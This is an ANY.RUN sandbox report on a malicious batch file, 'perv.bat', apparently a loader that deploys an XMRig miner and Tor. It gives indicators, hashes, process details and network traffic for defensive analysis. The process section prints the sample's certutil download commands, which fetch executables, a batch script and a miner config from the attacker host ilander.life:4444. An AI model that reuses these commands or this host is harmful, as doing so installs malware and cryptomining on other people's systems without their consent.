File name:

perv.bat

Full analysis: https://app.any.run/tasks/ca0e1a5f-f75c-454a-aace-a88e1b90ad5c
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: January 02, 2025, 15:24:00
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
loader
xmrig
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text
MD5:

0D9BCB7589C700B4CA186F1758368D12

SHA1:

B7BEB571F7D04B3C3D39A27361124BE9708230D1

SHA256:

379F49C6A3E6792B848825E0A6BCE698FC303989958B2CF959092CD25B7DD919

SSDEEP:

48:PWEgftI+UN9O2MILcIgqpIMj6pFE1rEUvkK45hLO2b2DhCQeMyFb2CJUM6h:PWExJN9Ld5gqpIQ6XE5EUvkH5hC2qDU6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CertUtil for downloading files

      • cmd.exe (PID: 3780)

    • Runs injected code in another process

      • powershell.exe (PID: 5728)

    • Application was injected by another process

      • dllhost.exe (PID: 3524)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 5728)

  • SUSPICIOUS

    • Starts NET.EXE to display or manage information about active sessions

      • net.exe (PID: 4136)
      • cmd.exe (PID: 5776)
      • net.exe (PID: 3732)
      • cmd.exe (PID: 3780)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 3140)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3140)

    • Potential Corporate Privacy Violation

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 4556)
      • certutil.exe (PID: 1356)

    • The process executes VB scripts

      • cmd.exe (PID: 5776)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3140)

    • Likely accesses (executes) a file from the Public directory

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • vc_redist.exe (PID: 5320)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 2324)
      • vc_redist.exe (PID: 5236)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)
      • reg.exe (PID: 5340)
      • certutil.exe (PID: 4556)
      • reg.exe (PID: 5112)
      • Install.exe (PID: 3664)
      • Install.exe (PID: 3808)
      • $77tor.exe (PID: 6060)

    • Executable content was dropped or overwritten

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 4536)
      • vc_redist.exe (PID: 5236)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 2324)
      • vc_redist.exe (PID: 5320)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)

    • Connects to unusual port

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 4556)

    • Process requests binary or script from the Internet

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 4912)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 6096)

    • Starts a Microsoft application from unusual location

      • vc_redist.exe (PID: 5320)
      • vc_redist.exe (PID: 5236)

    • Searches for installed software

      • vc_redist.exe (PID: 5236)

    • Process drops legitimate windows executable

      • vc_redist.exe (PID: 5320)

    • Drops a system driver (possible attempt to evade defenses)

      • certutil.exe (PID: 4556)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 3780)

    • Application launched itself

      • Install.exe (PID: 3664)

    • The process executes via Task Scheduler

      • powershell.exe (PID: 5728)

    • Invokes assembly entry point (POWERSHELL)

      • powershell.exe (PID: 5728)

  • INFO

    • Reads security settings of Internet Explorer

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)
      • dllhost.exe (PID: 3524)

    • Creates files or folders in the user directory

      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 6096)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)

    • Checks proxy server information

      • certutil.exe (PID: 2996)
      • certutil.exe (PID: 3688)
      • certutil.exe (PID: 4536)
      • certutil.exe (PID: 2212)
      • certutil.exe (PID: 2324)
      • certutil.exe (PID: 1356)
      • certutil.exe (PID: 4556)

    • The sample compiled with english language support

      • certutil.exe (PID: 4536)
      • vc_redist.exe (PID: 5236)
      • vc_redist.exe (PID: 5320)

    • Checks supported languages

      • vc_redist.exe (PID: 5320)
      • vc_redist.exe (PID: 5236)
      • Install.exe (PID: 3808)
      • Install.exe (PID: 3664)

    • Reads the computer name

      • vc_redist.exe (PID: 5320)
      • vc_redist.exe (PID: 5236)
      • Install.exe (PID: 3808)

    • The sample compiled with japanese language support

      • certutil.exe (PID: 4556)

    • Reads the machine GUID from the registry

      • Install.exe (PID: 3808)

    • The process uses the downloaded file

      • dllhost.exe (PID: 3524)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 5728)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
154
Monitored processes
30
Malicious processes
12
Suspicious processes
4

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs net.exe no specs net1.exe no specs wscript.exe no specs cmd.exe conhost.exe no specs net.exe no specs net1.exe no specs certutil.exe certutil.exe certutil.exe vc_redist.exe vc_redist.exe certutil.exe certutil.exe certutil.exe certutil.exe certutil.exe certutil.exe reg.exe no specs reg.exe no specs reg.exe no specs install.exe no specs conhost.exe no specs install.exe no specs powershell.exe no specs conhost.exe no specs dllhost.exe $77tor.exe

Process information

PID
CMD
Path
Indicators
Parent process
8\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—Install.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1296C:\WINDOWS\system32\net1 session C:\Windows\System32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\netutils.dll
c:\windows\system32\ucrtbase.dll
1356certutil -urlcache -split -f "http://ilander.life:4444/$77xmrig.exe" "C:\Users\Public\Downloads\$77system\$77xmrig.exe" C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2212certutil -urlcache -split -f "http://ilander.life:4444/config.json" "C:\Users\Public\Downloads\$77system\config.json" C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2324certutil -urlcache -split -f "http://ilander.life:4444/libstdc++-6.dll" "C:\Users\Public\Downloads\$77system\libstdc++-6.dll" C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2484\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2996certutil -urlcache -split -f "http://ilander.life:4444/lib.bat" "C:\Users\Public\Downloads\$77system\lib.bat" C:\Windows\System32\certutil.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
CertUtil.exe
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\certutil.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
3140"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\elevate.vbs" C:\Windows\System32\wscript.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3524C:\Windows\System32\dllhost.exe /Processid:{ebfb8de0-fc50-4820-8e0d-9a42788be367}C:\Windows\System32\dllhost.exe
winlogon.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
COM Surrogate
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\dllhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
3560C:\WINDOWS\system32\net1 session C:\Windows\System32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Net Command
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\netutils.dll
c:\windows\system32\srvcli.dll
Total events
11 204
Read events
11 165
Write events
39
Delete events
0

Modification events

(PID) Process:(5776) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids
Operation:writeName:VBSFile
Value:
(PID) Process:(3140) wscript.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.FriendlyAppName
Value:
Windows Command Processor
(PID) Process:(3140) wscript.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.ApplicationCompany
Value:
Microsoft Corporation
(PID) Process:(3688) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION
(PID) Process:(3688) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION
(PID) Process:(3688) certutil.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7
Operation:writeName:Name
Value:
szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL
(PID) Process:(3688) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(3688) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3688) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2996) certutil.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
Executable files
23
Suspicious files
13
Text files
40
Unknown types
0

Dropped files

PID
Process
Filename
Type
3688certutil.exeC:\Users\Public\Downloads\$77system\$77tor.exeexecutable
MD5:47539D0337E97E22A728AFC2638D461F
SHA256:262E52C5BBAA9BCD2DFCB4CF7DA83A1EFA95EBD0299F82031AD31A6AB19405A5
5236vc_redist.exeC:\Windows\Temp\{A787871B-8837-4E27-835B-0418A833E121}\.ba\thm.wxlxml
MD5:FBFCBC4DACC566A3C426F43CE10907B6
SHA256:70400F181D00E1769774FF36BCD8B1AB5FBC431418067D31B876D18CC04EF4CE
4536certutil.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\E4DJRUXW\vc_redist.x64[1].exeexecutable
MD5:810499FC266B73D33D71A8D1E3291AD3
SHA256:5D9999036F2B3A930F83B7FE3E2186B12E79AE7C007D538F52E3582E986A37C3
4536certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C49CF39F71AB6903B89F5D846B0A6EA6executable
MD5:810499FC266B73D33D71A8D1E3291AD3
SHA256:5D9999036F2B3A930F83B7FE3E2186B12E79AE7C007D538F52E3582E986A37C3
4536certutil.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C49CF39F71AB6903B89F5D846B0A6EA6binary
MD5:09D4F240250F149CD8F5B109C6F7DEA1
SHA256:45B924C417234078EFE150291525C155EB1D740F5E37A86629ABD4FD77B86A44
5236vc_redist.exeC:\Windows\Temp\{A787871B-8837-4E27-835B-0418A833E121}\.ba\wixstdba.dllexecutable
MD5:F68F43F809840328F4E993A54B0D5E62
SHA256:E921F69B9FB4B5AD4691809D06896C5F1D655AB75E0CE94A372319C243C56D4E
5236vc_redist.exeC:\Windows\Temp\{A787871B-8837-4E27-835B-0418A833E121}\.ba\thm.xmlxml
MD5:F62729C6D2540015E072514226C121C7
SHA256:F13BAE0EC08C91B4A315BB2D86EE48FADE597E7A5440DCE6F751F98A3A4D6916
5320vc_redist.exeC:\Windows\Temp\{19AB24C6-09D8-421B-93BE-46BBF4FEF9FE}\.cr\vc_redist.exeexecutable
MD5:438CB783EB37E9F417B2CAEB8CEE55BD
SHA256:35709BC404E985B0904DDEFF40649370AB556E0A14AB4167EDEB3F42F9D151D1
5236vc_redist.exeC:\Windows\Temp\{A787871B-8837-4E27-835B-0418A833E121}\.ba\1028\thm.wxlxml
MD5:472ABBEDCBAD24DBA5B5F5E8D02C340F
SHA256:8E2E660DFB66CB453E17F1B6991799678B1C8B350A55F9EBE2BA0028018A15AD
4536certutil.exeC:\Users\Public\Downloads\$77system\vc_redist.exeexecutable
MD5:810499FC266B73D33D71A8D1E3291AD3
SHA256:5D9999036F2B3A930F83B7FE3E2186B12E79AE7C007D538F52E3582E986A37C3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
24
TCP/UDP connections
41
DNS requests
7
Threats
69

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3688
certutil.exe
GET
—
87.121.86.197:4444
http://ilander.life:4444/$77tor.exe
unknown
—
—
unknown
4712
MoUsoCoreWorker.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4308
svchost.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
2624
RUXIMICS.exe
GET
200
2.16.241.19:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4308
svchost.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2624
RUXIMICS.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
3688
certutil.exe
GET
200
87.121.86.197:4444
http://ilander.life:4444/$77tor.exe
unknown
—
—
unknown
2996
certutil.exe
GET
200
87.121.86.197:4444
http://ilander.life:4444/lib.bat
unknown
—
—
unknown
2996
certutil.exe
GET
200
87.121.86.197:4444
http://ilander.life:4444/lib.bat
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
2.23.209.149:443
www.bing.com
Akamai International B.V.
GB
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
2624
RUXIMICS.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4712
MoUsoCoreWorker.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4308
svchost.exe
40.127.240.158:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
3688
certutil.exe
87.121.86.197:4444
ilander.life
SKAT TV Ltd.
BG
unknown
4712
MoUsoCoreWorker.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2624
RUXIMICS.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4308
svchost.exe
2.16.241.19:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted

DNS requests

Domain
IP
Reputation
www.bing.com
  • 2.23.209.149
  • 2.23.209.187
  • 2.23.209.130
  • 2.23.209.140
  • 2.23.209.158
  • 2.23.209.185
  • 2.23.209.148
  • 2.23.209.150
  • 2.23.209.189
whitelisted
google.com
  • 216.58.206.46
unknown
ilander.life
  • 87.121.86.197
malicious
crl.microsoft.com
  • 2.16.241.19
  • 2.16.241.12
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
self.events.data.microsoft.com
  • 20.189.173.23
whitelisted

Threats

PID
Process
Class
Message
3688
certutil.exe
Misc activity
ET INFO Packed Executable Download
3688
certutil.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3688
certutil.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3688
certutil.exe
Misc activity
ET INFO Packed Executable Download
3688
certutil.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3688
certutil.exe
Misc activity
ET INFO EXE - Served Attached HTTP
4536
certutil.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
4536
certutil.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4536
certutil.exe
Misc activity
ET INFO EXE - Served Attached HTTP
4536
certutil.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
13 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
perv.bat